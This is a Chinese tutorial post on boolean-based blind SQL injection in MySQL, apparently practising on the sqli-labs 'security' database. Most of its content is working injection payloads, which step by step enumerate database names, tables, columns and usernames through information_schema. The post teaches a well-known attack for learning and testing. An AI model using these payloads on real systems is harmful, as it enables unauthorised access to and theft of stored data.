SQL布尔盲注

看不到回显时使用盲注

布尔盲注

  • 在进行SQL注入时,web页面仅返回True和False
  • 布尔盲注会根据web页面返回的True或者False信息,对数据库中的信息,对数据库中的信息进行猜解,并获取数据库中的相关信息

函数

  • substr()-->用来截取字符串某一列字段中的一部分,在各个数据库中的函数名称是不一样的使用方式:substr(arg1,int,int2),啊arg1是被选取的字符串,int1为截取开始的位置,int2为截取长度
  • length()-->获取数据库长度,使用方式:length(arg1),arg1代表字符串
  • ascii()-->将单一字符,转化为ascii码值。使用方式ascii(str),str代表字符
  • if()-->条件判断。使用方式:if(arg1,arg2,arg3),arg1代表判断的条件,arg2是条件为真返回的结果,arg3是条件为假返回的结果

求库的长度

sql 复制代码
1' and length(database())>8#

求库名

sql 复制代码
-- substr 返回子字符串
-- 8是当前数据库'security'的长度 ,从第8个开始,取1位,则是'r'
-- 如果pos为9 那么开始位置大于字符串长度,ascii函数处理后将变成false
-- and 后只要不为 0, 页面都会返回正常
1' AND (ASCII(SUBSTR(database(),2,1)) = 101)#

求当前数据库存在的表的数量

sql 复制代码
1' AND (select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4#

求当前数据库表的表名长度

sql 复制代码
1' AND (LENGTH(
(select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1)
)) = 6#

求表名

sql 复制代码
1' AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
1,1)) = 101#

求表中列的数量

sql 复制代码
1' AND (select count(column_name) from information_schema.columns where table_name = "users") = 3#

求指定表中列的长度

sql 复制代码
1' AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),2,1))#

求指定表中的列名

sql 复制代码
1' AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
1,1)) = 105#

求指定表中某字段的数量

sql 复制代码
1' AND (select count(username) from users) = 13#

求字段长度

sql 复制代码
1' AND ASCII(SUBSTR((select username from users  limit 0,1),4,1))#

求字段名

sql 复制代码
1' and ASCII(SUBSTR((select username from users  limit 0,1),1,1))  = 68#
相关推荐
阿里云大数据AI技术3 小时前
一条 SQL 生成广告:Hologres 如何实现素材生成到投放分析一体化
人工智能·sql
x***r1514 小时前
dbeaver-ce-24.1.3-x86_64-setup安装步骤详解(附DBeaver数据库管理与SQL编写教程)
数据库·sql
Java&Develop6 小时前
pgsql 根据一个查询sql 生成 修改sql
数据库·sql
@小柯555m6 小时前
MySql(高级查询--查找GPA最高值)
数据库·sql·mysql
黄俊懿7 小时前
复合索引设计指南:最左前缀 & 字段排座次
数据库·sql·mysql·adb·性能优化·dba·db
桃花键神7 小时前
【2026精品项目】基于SpringBoot3+Vue3的旧物置换系统(包含源码+项目文档+SQL脚本+部署教程)
数据库·spring boot·sql·vue
@小柯555m9 小时前
MySql(正则表达式--电话号码格式校验)
数据库·sql·mysql·正则表达式
夕除9 小时前
spring boot --07
数据库·sql
麦聪聊数据10 小时前
SQL与数据库开发(五):纯 SQL 解决“连续签到”与“用户留存”问题
数据库·sql·数据库开发
l1t10 小时前
DeepSeek总结的无需编译器:编写纯 SQL 的 Postgres 扩展
数据库·sql·postgresql